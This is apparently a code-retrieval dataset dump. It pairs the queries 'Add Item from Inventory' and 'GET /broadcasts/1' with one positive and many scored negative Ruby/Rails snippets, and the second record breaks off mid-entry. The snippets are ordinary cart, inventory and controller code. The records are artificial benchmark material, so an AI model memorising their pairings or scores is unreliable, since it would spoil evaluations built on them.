query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
39d0bd2af13d3cf0f5119f81fe7c7354 | Add Item from Inventory | [
{
"docid": "1f22109127c5c8636791da59debc167e",
"score": "0.0",
"text": "def item_add item\n\t\t\t## Add Item by key of Item's classname as symbol\n\t\t\titem.belongs_to = self\n\t\t\treturn (@items[item.class.name.split('::').last.to_sym] = item)\n\t\tend",
"title": ""
}
] | [
{
"docid": "9a93655d4fda6a92f3536d5668c5734b",
"score": "0.83087474",
"text": "def add_item(item)\n\t\t@inventory.push(item)\n\tend",
"title": ""
},
{
"docid": "80b20dbe7295deecf0f6e45c7d1cb533",
"score": "0.8246109",
"text": "def pick_up_item(item)\n @inventory << item\n end",
"title": ""
},
{
"docid": "be400854b8dc553d294301caefc7d7f7",
"score": "0.7996803",
"text": "def item_add item\n\t\treturn false unless (item.is? :item)\n\t\treturn @inventory.item_add item\n\tend",
"title": ""
},
{
"docid": "c88e075447b687315973d1a3ff59e7d6",
"score": "0.7761992",
"text": "def add_inventory(items)\n items.each {|item| \n @inventory << item\n puts \"#{item.name} added to inventory\"\n }\n end",
"title": ""
},
{
"docid": "d9ef7e6ce65527e8da7ee5cb1ef703a5",
"score": "0.7667531",
"text": "def add_inventory\n\t\tprint \"What item would you like to add to the store's inventory? \"\n\t\tnew_item = gets.chomp.downcase\n\t\tif @prices.include?(new_item.to_sym)\n\t\t\tputs \"#{new_item} is already in the inventory\"\n\t\telse\n\t\t\tprint \"What is the retail price of #{new_item}? \" # need error checking for float\n\t\t\tprice = gets.to_f\n\t\t\t@prices[new_item.to_sym] = price\n\t\t\tprint \"How many #{new_item}/s are you adding to the inventory? \" # need error checking\n\t\t\tquantity = gets.to_i\n\t\t\t@quantities[new_item.to_sym] = quantity\n\t\t\tputs \"#{quantity} #{new_item}/s successfully added to the inventory.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f830626430b95c3b88a42463a61bb477",
"score": "0.76332295",
"text": "def addInventory(itemQuality, itemName)\n\t\tputs \"Adding: #{itemQuality} #{itemName}\"\n\t\tModels::Inventory_Item.create(\n\t\t\t:quality_id => Models::Quality.find_by_description(itemQuality).id,\n\t\t\t:itemPrice_id => Models::ItemPrice.find_by_name(itemName).id)\t\n\tend",
"title": ""
},
{
"docid": "911907faf637a3466afa884b507954ee",
"score": "0.7477539",
"text": "def inventory_entry(item)\n @inventory.entry(item)\n end",
"title": ""
},
{
"docid": "f5bcbae630c525616cb4d84a4c68f6f5",
"score": "0.73036844",
"text": "def add_item(ammo_type, amount = 1, source_item = nil)\n if @inventory[ammo_type.to_sym].nil?\n @inventory[ammo_type.to_sym] =\n OpenStruct.new(qty: 0, type: source_item&.type || ammo_type.to_sym)\n end\n\n qty = @inventory[ammo_type.to_sym].qty\n @inventory[ammo_type.to_sym].qty = qty + amount\n end",
"title": ""
},
{
"docid": "2499311dcd65f8ddc75e93d37c983f4d",
"score": "0.72545195",
"text": "def add_inventory\n print \"Add new product name into inventory: \"\n puts \"\"\n product = gets.to_s\n print \"Add a price tag: $\"\n price = gets.to_f\n new_item = { item: \"#{product}\", price: \"#{price}\" }\n @inventory_list << new_item\n \nend",
"title": ""
},
{
"docid": "3e35ea0081b7043f57d1fca499e9b3de",
"score": "0.7245909",
"text": "def add(sku)\n @items << sku if @inventory.include? sku\n end",
"title": ""
},
{
"docid": "67a397686c25cdbf8c820c7179497699",
"score": "0.72153765",
"text": "def add(inventory_unit, state = :on_hand)\n contents << ContentItem.new(inventory_unit, state) unless find_item(inventory_unit)\n end",
"title": ""
},
{
"docid": "983f1b3207b92749a92af2dbe282232d",
"score": "0.7150975",
"text": "def new_inventory_item(params={})\n Peddler::Inventory::Item.new(params)\n end",
"title": ""
},
{
"docid": "91c71967e3234b856c83afbe28f928e1",
"score": "0.71045774",
"text": "def add(object)\n @inventory << object\n object.container = @game_object_id\n end",
"title": ""
},
{
"docid": "e1cafc10b5c188697228d9c2c7988f3f",
"score": "0.7099894",
"text": "def add(name, quantity = 1)\n item = @inventory.get_item_with_name(name)\n if quantity < 0 or quantity > 99\n raise \"Too large or too small number of items requested.\"\n elsif item and not @items[item]\n @items[item] = quantity\n elsif item and @items[item]\n @items[item] += quantity\n else\n raise \"The requested item is not in the inventory.\"\n end\n end",
"title": ""
},
{
"docid": "d22e1b011127bf2ab645b5670bf591a5",
"score": "0.70659477",
"text": "def add_item(item)\n if find_room(@player.location).inventory.include?(item)\n satchel.contents << item\n @last_move_message = \"Your satchel has been updated!\"\n find_room(@player.location).inventory.delete_if { |x| x == item }\n elsif item == \"help\"\n @last_move_message = \"Well, you can only pack up objects that are in the room with you...\\r\\n\"\n else\n @last_move_message = \"That item is not in the room. Items in this room: #{find_room(@player.location).inventory.join(\", \")}.\"\n end\n end",
"title": ""
},
{
"docid": "6fd221533de71262fdff8d86236e7c6f",
"score": "0.7040851",
"text": "def add_item item ; add item, @items; end",
"title": ""
},
{
"docid": "aac2a32bce692e9d7b4a0b1135a219b2",
"score": "0.70404214",
"text": "def add_inventory(line_item)\n sums = self.line_items.group(:inventory_id).sum(:quantity)\n sums.each do |inventory_id, quantity, unit_cost|\n if quantity > 1\n # remove individual items\n self.line_items.where(inventory_id: inventory_id).delete_all\n # replace with a single item\n self.line_items.create!(inventory_id: inventory_id, quantity: quantity, unit_cost: line_item.unit_cost)\n end\n end\n end",
"title": ""
},
{
"docid": "cdbcd4f232ad73923b8872c3e1d16d2f",
"score": "0.70181715",
"text": "def db_add_item_to_inventory(user_id, item_id)\n return true if @db.execute( \"INSERT INTO inventory ( user_id, item_id, timestamp ) VALUES ( ?, ?, ? )\", [user_id, item_id, Time.now.utc.to_i])\n end",
"title": ""
},
{
"docid": "aae82a8a5826aff567e1c50568937d84",
"score": "0.7016473",
"text": "def give(name, inventory)\n if item = self[name] and inventory.is_a?(Inventory)\n delete_at(name)\n inventory << item\n end\n end",
"title": ""
},
{
"docid": "46db38139b632e64268235ccf76fcfa2",
"score": "0.69771034",
"text": "def add_item(user_id, item_id)\n owner_user_id = user_id\n timestamp = Time.now.to_i\n value = get_item_value_from_id(item_id)\n expiration = nil\n\n # compute expiration if there is one\n lifetime = get_item_lifetime_from_id(item_id)\n if lifetime != nil\n expiration = (Time.now.to_datetime + lifetime).to_time.to_i\n end\n\n # add item\n entry_id = USER_INVENTORY.insert(\n owner_user_id: owner_user_id,\n item_id: item_id,\n timestamp: timestamp,\n expiration: expiration,\n value: value\n )\n\n item = USER_INVENTORY[entry_id: entry_id]\n return nil if item == nil\n\n return InventoryItem.new(item)\n end",
"title": ""
},
{
"docid": "7a141630e017eafab5647d1cef9315c4",
"score": "0.6973119",
"text": "def add_item(id:, quantity:1)\n\t\tpro = Product.find(id)\n\t\t\n\t\torder_item = order.items.find_or_create_by(\n\t\t\tid: id\n\t\t)\n\t\t\n\t\t\n\t\torder_item.price = pro.price\n\t\torder_item.quant = quantity\n\t\t\n\t\t#Decrements product inventory count when item is added to cart\n\t\tpro.inventory_count = pro.inventory_count -1\n\t\t\n\t\torder_item.save\n\t\t\n\tend",
"title": ""
},
{
"docid": "16b73b891241150b3c5e93eef5c12d54",
"score": "0.6968101",
"text": "def add_inventory_item_to_model(inventory_item) \n inventory_item.inventory_model.increment(:quantity)\n end",
"title": ""
},
{
"docid": "e0b972a91204bc25a8ba2a00625dd40e",
"score": "0.6928261",
"text": "def add_item(item, amount = 1)\n\n # Increase the amount if the item already exists in the inventory.\n @inventory.each do |couple|\n if (couple.first == item)\n couple.second += amount\n return\n end\n end\n\n # If not already in the inventory, push a Couple.\n @inventory.push(Couple.new(item, amount))\n end",
"title": ""
},
{
"docid": "9d0163e1fe19330a5fd28508da87f768",
"score": "0.6922746",
"text": "def add_car(car_to_add)\n @inventory << car_to_add\n end",
"title": ""
},
{
"docid": "916de50d4ec52b293eb797c7718b59a5",
"score": "0.69181436",
"text": "def addToQuantity(quant, index)\n \titem = @inventory_arr[index]\n \titem.quantity = Integer(item.quantity) + Integer(quant)\n end",
"title": ""
},
{
"docid": "8c504896fcc97dbe929f83f0efffb593",
"score": "0.6914961",
"text": "def add_thing(id, identifier, use_with, name, info, look=\"There's nothing much to see...\")\n thing = Item.which(id, 'Thing')\n thing = Thing.new(id, identifier, use_with, name, info, look) if thing.nil?\n @inventory.add(thing)\n thing\n end",
"title": ""
},
{
"docid": "188e032e208be7f5232d56d55feff4e5",
"score": "0.69024926",
"text": "def addItem(produit, desc, qty)\n item = Item.new\n item.produit = produit.id\n item.quantite = qty;\n item.code = desc;\n item.montant = qty * produit.prix\n @items << item\n end",
"title": ""
},
{
"docid": "c54d0b2b920fa100687909caaecacb77",
"score": "0.6897004",
"text": "def build_inventory\n add_to_inventory(\"Cigars\", 150, 35.0)\n add_to_inventory(:product => \"Carribean Rum\", :quantity => 40, :price => 70.0)\n add_to_inventory(:product => \"Fake Slave\", :quantity => 1, :price => 1000.0)\nend",
"title": ""
},
{
"docid": "de4251cef0e2bc9df41ce0196d60acac",
"score": "0.68867666",
"text": "def add_item(name, price, item_type, requires_id, nut_allergy, vegetarian)\n \titems.create(:name => name, :price => price, :item_type => item_type, :requires_id => requires_id, :nut_allergy => nut_allergy, :vegetarian => vegetarian)\n end",
"title": ""
},
{
"docid": "7d06badad7d7275fa40209e59956db16",
"score": "0.68514585",
"text": "def InsertOrUpdateItemInInventory(item_id, price, quantity, extraNotes) # either inserts new item in inventory, or updates the quantity if already exists\n @@db_instant.InsertOrUpdateItemInInventory(item_id, price, quantity, extraNotes)\n end",
"title": ""
},
{
"docid": "d7d399a9544222ab2b9926ce446a92ea",
"score": "0.6843065",
"text": "def add_object object, id = DEFAULT_INVENTORY_ID\n @inventory[id] = [] unless (@inventory[id])\n @inventory[id] << object\n end",
"title": ""
},
{
"docid": "75dc22c477662960a717db49dbe1a406",
"score": "0.6833344",
"text": "def add_item(screening)\n # Checks if the item is already in the cart\n current_item = line_items.find_by(screening_id: screening)\n\n # If the item is already in the cart, the quantity of the item will be incremented\n if current_item\n current_item.increment(:quantity)\n # Otherwise the item will be created with the passed screening\n else\n current_item = line_items.build(screening_id: screening.id)\n end\n current_item\n end",
"title": ""
},
{
"docid": "0b694a1eb2796f43ec20b73a14fa27fe",
"score": "0.6831345",
"text": "def add_item(item)\n #TODO: Check for echantedness\n if existing_item = items.find_by_item_base_id(item.item_base_id)\n existing_item.quantity += item.quantity\n existing_item.save!\n item.destroy\n\n return existing_item\n else\n items << item\n\n return item\n end\n end",
"title": ""
},
{
"docid": "78d9cab173be09cbaaacac1a04780a55",
"score": "0.68305486",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "78d9cab173be09cbaaacac1a04780a55",
"score": "0.68305486",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "ea8f1e85b0adf550ff7cb7e4893192e8",
"score": "0.68089503",
"text": "def additem(item_name,item_sku,quantity,item_length,item_height,item_depth,shelf_id,row_id)\n @sku = sku\n @name = name\n end",
"title": ""
},
{
"docid": "0943cf0f9bd749b6dcb86a7f7b66e9f3",
"score": "0.6804663",
"text": "def add_item(item)\n current_item = line_items.find_by(item_id: item.id)\n if current_item\n current_item.quantity += 1\n else\n current_item = line_items.build(item_id: item.id)\n end\n current_item\n end",
"title": ""
},
{
"docid": "62fa5f71244167492568d4f1ca8e20fd",
"score": "0.6797215",
"text": "def add_item(new_item)\n item = Item.new new_item\n @items.push item\n end",
"title": ""
},
{
"docid": "ee57e9c0186e17272ab84fb0848fafb3",
"score": "0.6792002",
"text": "def add_item(qty, desc)\n\t\titem = [qty, desc]\n\t\t@pocket.add(item)\n\tend",
"title": ""
},
{
"docid": "c2916f7f5ffa88591accfdf4c7ef9874",
"score": "0.6778859",
"text": "def add_item(item_name, cost, qty = 1, is_imported = false)\r\n basket_item = BasketItem.new(item_name, cost, qty, is_imported)\r\n @basket << basket_item\r\n end",
"title": ""
},
{
"docid": "a49b7cd0fdc1a87481a8365fd532c3d2",
"score": "0.67750174",
"text": "def add_new_ingredient inventory\n new_ingredient = Ingredient.new\n puts \"Type of ingredient\"\n new_ingredient.type = gets.strip\n puts \"Current Stock\"\n new_ingredient.stock = gets.to_i\n puts \"Daily Amount Required\"\n new_ingredient.daily = gets.to_i\n inventory[inventory.size] = new_ingredient\n end",
"title": ""
},
{
"docid": "375538c7c2ebc646edcedece5a8f46cf",
"score": "0.67648965",
"text": "def add_item(new_item)\n \titem = Item.new new_item\n \t@items.push item\n end",
"title": ""
},
{
"docid": "3b2e576833f42752742754ae0266deee",
"score": "0.6754608",
"text": "def new_inventory\n puts \"What item would like to add?\"\n item = gets.strip\n puts \"How much do you think it costs?\"\n cost = gets.strip\n add_inventory = {:item =>item, :price =>cost }\n @items.push(add_inventory)\n main_menu\nend",
"title": ""
},
{
"docid": "495864bbbb2917eb994c2c3df2f515aa",
"score": "0.6745536",
"text": "def add(item)\n @items[item.id] = item\n end",
"title": ""
},
{
"docid": "4cc7f590cf8301301d4053c3ce3f2981",
"score": "0.6742739",
"text": "def add_item(opts={})\n self._post('items/', item_payload(opts))\n end",
"title": ""
},
{
"docid": "0d5134e4431efbf8303316a4064e8a8b",
"score": "0.673877",
"text": "def add_store_item\n puts 'enter name'\n name = gets.chomp\n puts 'enter price'\n price = gets.chomp\n puts 'enter stock quantity'\n qty = gets.chomp\n new_item = {name: name, price: price, qty: qty}\n Store_inventory << new_item\n puts 'item added to inventory'\n menu\nend",
"title": ""
},
{
"docid": "40587e3e2a5cae951c53d788e3086fa8",
"score": "0.6731275",
"text": "def add_item item\n @items.push item\n end",
"title": ""
},
{
"docid": "98bc7a4bc36f0a8536c49ba4689441d2",
"score": "0.67290884",
"text": "def add_new_item(n,d,p,b,s, disc=[])\n o = Item.new(n,d,p,b,s, disc)\n add_stock(o)\n o\n end",
"title": ""
},
{
"docid": "98bc7a4bc36f0a8536c49ba4689441d2",
"score": "0.67290884",
"text": "def add_new_item(n,d,p,b,s, disc=[])\n o = Item.new(n,d,p,b,s, disc)\n add_stock(o)\n o\n end",
"title": ""
},
{
"docid": "357c16b9ac790eeeb6d0a7f21b99600f",
"score": "0.67104644",
"text": "def add_item\n puts \"Okay what would you like to add to the inventory?\"\n print \"New animal (plural): \"\n new_item = gets.chomp.to_sym\n puts \"\\n\\n\"\n\n puts \"And how many of those #{new_item} would you like to add?\"\n print \"Number of new #{new_item}: \"\n @inv[new_item] = gets.to_i\n puts\"\\n\\n\"\n end",
"title": ""
},
{
"docid": "e295e15ff2de14bdb6cc45c1b5b970d3",
"score": "0.66989917",
"text": "def add_item\n end",
"title": ""
},
{
"docid": "e295e15ff2de14bdb6cc45c1b5b970d3",
"score": "0.66989917",
"text": "def add_item\n end",
"title": ""
},
{
"docid": "da3fe2c43815d8ee08d4edeef40172e8",
"score": "0.6692905",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "da3fe2c43815d8ee08d4edeef40172e8",
"score": "0.6692905",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "da3fe2c43815d8ee08d4edeef40172e8",
"score": "0.6692905",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "0617d28d166663326e2d166124abe559",
"score": "0.6690499",
"text": "def add_item(product)\n products << product\n end",
"title": ""
},
{
"docid": "294cafe65f8f649e5184488f20740197",
"score": "0.667327",
"text": "def add_products_to_inventory\n\t\ti = ProductType.find_by_id(product_type_id)\n\t\tif received?\n\t\t\ti.total_quantity += quantity\n\t\t\ti.save\n\t\tend\n\tend",
"title": ""
},
{
"docid": "eefdc7d28cfbcc39afca356cd2883b25",
"score": "0.66730255",
"text": "def test_add_item_to_player()\n item = {}\n add_item(@player,item)\n assert_equal(1,player_inventory(@player).length)\n end",
"title": ""
},
{
"docid": "8ff5ab16bc152d049f4a11f4e44a342d",
"score": "0.66701484",
"text": "def add_item(item)\n raise InvalidItemForCartError unless item.is_a? Item\n qty = 1\n add_to_cart = true\n\n loop_items = @items_in_cart.map do |itm|\n if itm[:item].name == item.name\n itm[:item_qty] += qty\n itm[:item_total] += qty * item.price\n add_to_cart = false\n break\n end\n end\n\n if add_to_cart == true\n tx = {:item => item, :item_qty => qty, :item_total => qty * item.price}\n @items_in_cart.push(tx)\n end\n end",
"title": ""
},
{
"docid": "2df9c21783d20df3e2257363f78fa714",
"score": "0.666747",
"text": "def addItem(item)\n @items << item;\n end",
"title": ""
},
{
"docid": "6568b1e80841b1deb66d76d4869a48da",
"score": "0.66557765",
"text": "def inventory\n end",
"title": ""
},
{
"docid": "5e6c598373e4833f7acd469ffb4dfe55",
"score": "0.6654767",
"text": "def stack_item(product, quantity, reservation)\n self.add_item(product, quantity, reservation)\n end",
"title": ""
},
{
"docid": "75295f34d7538dec791a953fa17e6fd7",
"score": "0.66542846",
"text": "def add_item(item_name, quantity, h)\n h[item_name] = quantity\nend",
"title": ""
},
{
"docid": "ae8d1f11ba140932b187c4762ba4e742",
"score": "0.6645787",
"text": "def add_item(item_hash, qty=0)\n\titem_hash[name] = qty\n\n\treturn item_hash\nend",
"title": ""
},
{
"docid": "23c8479f9dea815114372c9ebe008796",
"score": "0.66439193",
"text": "def add_item(equipment_model)\n current_item = CartReservation.new(start_date: @start_date,\n due_date: @due_date, reserver: self.reserver)\n current_item.equipment_model = equipment_model\n if current_item.save\n @items << current_item.id\n end\n end",
"title": ""
},
{
"docid": "0936fb71c8183026ca6f17fddad01f16",
"score": "0.6640531",
"text": "def add_item(item_to_add)\n @item_to_add = item_to_add\n @items << item_to_add if item_to_add.is_a? Item\nend",
"title": ""
},
{
"docid": "e4556cc4a093d436943bc546e0548c1c",
"score": "0.6627163",
"text": "def add_stock(item)\n if item.class == Item.class\n if @item_hash[item]\n @item_hash[item] += 1\n else\n @item_hash[item] = 1\n @barcode_hash[item] = item.barcode\n @stockcode_hash[item] = item.stockcode\n end\n else\n puts 'Error: please enter correct Item'\n end\n end",
"title": ""
},
{
"docid": "e4556cc4a093d436943bc546e0548c1c",
"score": "0.6627163",
"text": "def add_stock(item)\n if item.class == Item.class\n if @item_hash[item]\n @item_hash[item] += 1\n else\n @item_hash[item] = 1\n @barcode_hash[item] = item.barcode\n @stockcode_hash[item] = item.stockcode\n end\n else\n puts 'Error: please enter correct Item'\n end\n end",
"title": ""
},
{
"docid": "f6a30af9f20e588629f918c3e73c3ee7",
"score": "0.6626998",
"text": "def add_item(selector, desc, price, quantity)\n item = @items[selector]\n if item\n # The item already exists, so just increase the quantity.\n item.quantity += quantity\n else\n # The item doesn't already exists so create it.\n @items[selector] = Item.new(desc, price, quantity)\n end\n end",
"title": ""
},
{
"docid": "5a72727030ad45839fad0f1c65a054e4",
"score": "0.6625015",
"text": "def add_item(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend",
"title": ""
},
{
"docid": "2e283ad5dec9be3424c6e1699edfe763",
"score": "0.6624819",
"text": "def give_item item\n @inv.add_item item\n refresh_wielded_properties\n end",
"title": ""
},
{
"docid": "e02c72b09689c7897a9e454606ec9678",
"score": "0.66241777",
"text": "def add_byId(item_id)\n @items.push( Item.which(item_id) )\n end",
"title": ""
},
{
"docid": "fa13d7d78abd97990ae8912d05cc2c5e",
"score": "0.66231483",
"text": "def add_item(item)\n line_item = self.line_items.find_by(item_id: item.to_i)\n if line_item\n line_item.quantity += 1\n else\n #build a new line item associated with current cart\n line_item = self.line_items.build(item_id: item)\n end\n line_item\n end",
"title": ""
},
{
"docid": "2bac6127dc9358224c114c43ff3d61cf",
"score": "0.6610917",
"text": "def add_item(item)\n \t@items.push(item)\n end",
"title": ""
},
{
"docid": "60e50b667b7c075973752e85531f59d7",
"score": "0.6602484",
"text": "def add_item(xml, item, index)\n xml.tag! 'Item', :num => index do\n xml.tag! 'Code', item[:sku]\n xml.tag! 'Quantity', item[:quantity]\n end\n end",
"title": ""
},
{
"docid": "bc307ec9cb6d799a0ddb09fea3016609",
"score": "0.65921104",
"text": "def add_item(new_item)\n\t\titem = Item.new(new_item)\n\t\t@items.push(item)\n\tend",
"title": ""
},
{
"docid": "5823461066ea92266e4a047889e4ff04",
"score": "0.65909034",
"text": "def <<(item) \n return if (item.nil?)\n raise InvalidItem unless item.class.eql? Item\n\n #item is in sale....\n if (@itens.has_key?(item.code))\n \n #quantity eq zero, remove...\n @itens.delete item.code if (item.quantity == 0)\n\n #change the quantity\n @itens[item.code].quantity = item.quantity if (item.quantity > 0)\n \n else\n @itens[item.code] = item\n end\n\n end",
"title": ""
},
{
"docid": "d721d81dd153ff93d479018c05be317c",
"score": "0.65887433",
"text": "def add_item(list, item_name, quantity)\n list[item_name] = quantity\nend",
"title": ""
},
{
"docid": "a660cd0094564ae0b00d2e81bc8343e7",
"score": "0.658146",
"text": "def add_item(item, quant=0)\n\t$grocery_list.store(item, quant)\n\tp \"You added #{item} to your list.\"\nend",
"title": ""
},
{
"docid": "5fed2436c902ef649c35524b33d29272",
"score": "0.6578001",
"text": "def add_item(item)\n line_item = self.line_items.find_by(item_id: item)\n if line_item\n line_item.quantity += 1\n else\n line_item = self.line_items.build(cart_id: self.id, item_id: item)\n end\n line_item\n end",
"title": ""
},
{
"docid": "3e84e67f239f56c68d4f01021c8e492c",
"score": "0.6574422",
"text": "def build_inventory\n wallet = Item.new(\"wallet\", 500)\n chair = Item.new(\"chair\", 490.45)\n pen = Item.new(\"pen\", 35)\n notebook = Item.new(\"notebook\", 25)\n rice = GroceryItem.new(\"rice\", 550)\n wheat = GroceryItem.new(\"wheat\", 750.99)\n cornflakes = GroceryItem.new(\"cornflakes\", 800.99)\n [wallet, chair, pen, notebook, rice, wheat, cornflakes] \nend",
"title": ""
},
{
"docid": "0068d3d42de40003c665f115a9e0122a",
"score": "0.6567488",
"text": "def add(item)\n self.items << item\n end",
"title": ""
},
{
"docid": "dd32adb1a8fea680663cac9fea1034a4",
"score": "0.6563781",
"text": "def add_item(item_id)\n line_item = line_items.find_by(item_id: item_id)\n if line_item\n line_item.quantity += 1\n else\n line_item = self.line_items.build(item_id: item_id)\n end\n line_item\n end",
"title": ""
},
{
"docid": "3c59187bb78a1784b61337fada5322fd",
"score": "0.6561555",
"text": "def add_item(item_id)\n new_list_item = self.line_items.find_by(item_id: item_id)\n if new_list_item.present?\n new_list_item.quantity += 1\n else\n new_list_item = self.line_items.build(item_id: item_id)\n end\n new_list_item\n end",
"title": ""
},
{
"docid": "c1a394a4ce3e236c6e233d04652fe995",
"score": "0.6561195",
"text": "def add_item(item)\n @items << item\n end",
"title": ""
},
{
"docid": "fded57eb13f72f624cd98d46cc93aca9",
"score": "0.65573895",
"text": "def add_item(item,amount=1)\n @adaptee.add_mission(item)\n amount # So eclipse won't yell at me\n end",
"title": ""
},
{
"docid": "b1410b8123b7ac901f940dcd43b46d31",
"score": "0.65465844",
"text": "def add_item(item)\n @contents << item\n end",
"title": ""
},
{
"docid": "8933dd38d9f266c9813142a7d37fed84",
"score": "0.6546003",
"text": "def add_item(item, quantity = 1)\n if self.items.include?(item)\n selected_item = self.selected_items.find_by(accessory_item_id: item)\n selected_item.quantity += quantity\n else\n selected_item = self.selected_items.build\n selected_item.item = item\n selected_item.quantity = quantity\n end\n \n selected_item.save\n \n selected_item\n end",
"title": ""
},
{
"docid": "97124186435840c362d8ec9a1556b95c",
"score": "0.65432554",
"text": "def add_item(new_item_desc)\n item = Item.new(new_item_desc)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "77b71233b59db701282f757ab40666c2",
"score": "0.65417284",
"text": "def add_item(xml, item, index)\n xml.tag! 'Item', :num => index do\n xml.tag! 'Code', item[:sku]\n xml.tag! 'Quantity', item[:quantity]\n end\n end",
"title": ""
},
{
"docid": "0c5b16e7f72af138de7bfc734dd85e6a",
"score": "0.65417045",
"text": "def add_item(item_id)\n if item_ids.include?(item_id.to_i)\n line_item = line_items.find_by(item_id)\n line_item.update(quantity: line_item.quantity + 1)\n line_item\n else\n line_items.build(item_id: item_id, quantity: 1)\n end\n end",
"title": ""
},
{
"docid": "6b7bb54aa88a740772b826059dddd3ba",
"score": "0.65398896",
"text": "def add_item(item_to_add)\n @get_items << item_to_add\n end",
"title": ""
},
{
"docid": "0e9302626d4072c0b1c093872ade1cdc",
"score": "0.6538953",
"text": "def inventory; end",
"title": ""
},
{
"docid": "45f699046b05a3215ab59151a34717d0",
"score": "0.6536783",
"text": "def add_item(item)\n @xml = nil\n if item.respond_to? :to_google_product\n item = item.to_google_product\n end\n\n # We need to check that the necessary keys are in the hash,\n # Otherwise the error will happen in the middle of to_xml,\n # and the bug will be harder to track.\n missing_keys = [ :name, :description, :price ].select { |key|\n !item.include? key\n }\n\n unless missing_keys.empty?\n raise ArgumentError,\n \"Required keys missing: #{missing_keys.inspect}\"\n end\n\n contents << { :quantity => 1, :currency => 'USD' }.merge(item)\n item\n end",
"title": ""
},
{
"docid": "286b1f3195683edfaa25f843994886ff",
"score": "0.65358657",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "cc572b6a1b15067942dabb790a7c2de2",
"score": "0.6531078",
"text": "def add_item(item)\n @items.add item\n appendItem(item.fox_item)\n item\n end",
"title": ""
},
{
"docid": "6bdb8ed672e6b550d583130e5e6e850b",
"score": "0.65310436",
"text": "def add_item(title, price, quantity=1)\n store_transaction(title, price, quantity)\n self.total += (price * quantity)\n quantity.times {self.items << title}\n end",
"title": ""
},
{
"docid": "67408da3010b56461026dadde027d2e1",
"score": "0.6529557",
"text": "def add_item(new_item)\n item = Item.new(new_item)\n @items.push(item)\n end",
"title": ""
},
{
"docid": "612801e7a98e95ea9af30619153c9b96",
"score": "0.6527639",
"text": "def give_to_player(player, item_class)\n player.add_to_inventory(item_class)\n end",
"title": ""
},
{
"docid": "246940f1626ba615b252fd94e0b1cd38",
"score": "0.6518117",
"text": "def add_item(title, price, quantity = 1)\n @total += (price * quantity)\n quantity.times { @items << title }\n @last_transaction = [title, price, quantity]\n end",
"title": ""
},
{
"docid": "20dc0bd41b3e44415b83a825fe5aa5b6",
"score": "0.6513151",
"text": "def add_item(list, item_name, qty=1)\r\n\tlist[item_name] = qty\r\n\tlist\r\nend",
"title": ""
}
] |
1417fe1600604bfd12b37e62bca4becd | GET /broadcasts/1 GET /broadcasts/1.xml | [
{
"docid": "01d6492bb91d24290365cfa91436ff33",
"score": "0.6051761",
"text": "def show\n @broadcast = Broadcast.find(params[:id])\n @broadcast.hits.create\n\n add_crumb(@broadcast.title)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @broadcast }\n end\n end",
"title": ""
}
] | [
{
"docid": "b026f10712ae0f0e1f069b3ee557585d",
"score": "0.73084784",
"text": "def get_broadcasts uri\n begin\n response = RestClient.get(uri)\n broadcasts = []\n JSON.parse(response)['schedule']['day']['broadcasts'].each do |json|\n broadcasts << Broadcast.new(json['programme']['display_titles']['title'],\n json['programme']['display_titles']['subtitle'],\n Time.parse(json['start']),\n json['pid'])\n end\n return broadcasts\n rescue => e\n logger.error e.response\n end\n end",
"title": ""
},
{
"docid": "4a2d4a0235214641b727b96e68c33f12",
"score": "0.6984409",
"text": "def show\n @schedule = schedule\n respond_to do |format|\n format.html do\n @broadcasts = schedule.broadcasts_and_gaps(Time.now.utc, 1.day.from_now.utc) \n # renders show.html.erb\n end\n format.xml do \n except = [:id, :created_at, :updated_at]\n render :xml => @schedule.to_xml(:except => except)\n end\n end\n end",
"title": ""
},
{
"docid": "d915cd706f34c067e7f8910bddf37e68",
"score": "0.6882849",
"text": "def index\n @broadcasts = Broadcast.paginate(:page => params[:page], :order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @broadcasts }\n end\n end",
"title": ""
},
{
"docid": "2e926311758c30ac72b0771707be25e4",
"score": "0.66869",
"text": "def index\n @broadcasts = Broadcast.all\n end",
"title": ""
},
{
"docid": "9a32986648232cbad389c029c3127429",
"score": "0.65597016",
"text": "def index\n per_page = params[:per_page] ||= PER_PAGE\n @broadcasts = Broadcast.paginate :page => params[:page],\n :per_page => params[:per_page],\n :order=>'created_at DESC'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @broadcasts }\n format.json { render :json => @broadcasts }\n end\n end",
"title": ""
},
{
"docid": "a3f5d629355481fc4760142fb0481be2",
"score": "0.650582",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @broadcast.content_delivery.to_xml }\n end\n end",
"title": ""
},
{
"docid": "07a35ee03652f2aea7091db998ad0a34",
"score": "0.64457256",
"text": "def new\n @broadcast = Broadcast.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @broadcast }\n end\n end",
"title": ""
},
{
"docid": "848062196303d1d6dd3fea7beabc0444",
"score": "0.6410151",
"text": "def following_broadcast_feed\n request('/followingBroadcastFeed', {body: {}})\n end",
"title": ""
},
{
"docid": "1d60458b7cfe8c37647a2911b053fbfd",
"score": "0.6308584",
"text": "def index\n @recorded_broadcasts = RecordedBroadcast.where(broadcast_set_id: params[:broadcast_set_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recorded_broadcasts }\n end\n end",
"title": ""
},
{
"docid": "ff4e6ab6e858f26d46ccfb168413a5ad",
"score": "0.63017005",
"text": "def broadcast_message(id)\n get(\"/broadcast_messages/#{id}\")\n end",
"title": ""
},
{
"docid": "fe1e74b2eaa58caca29fbea00a949df0",
"score": "0.6240983",
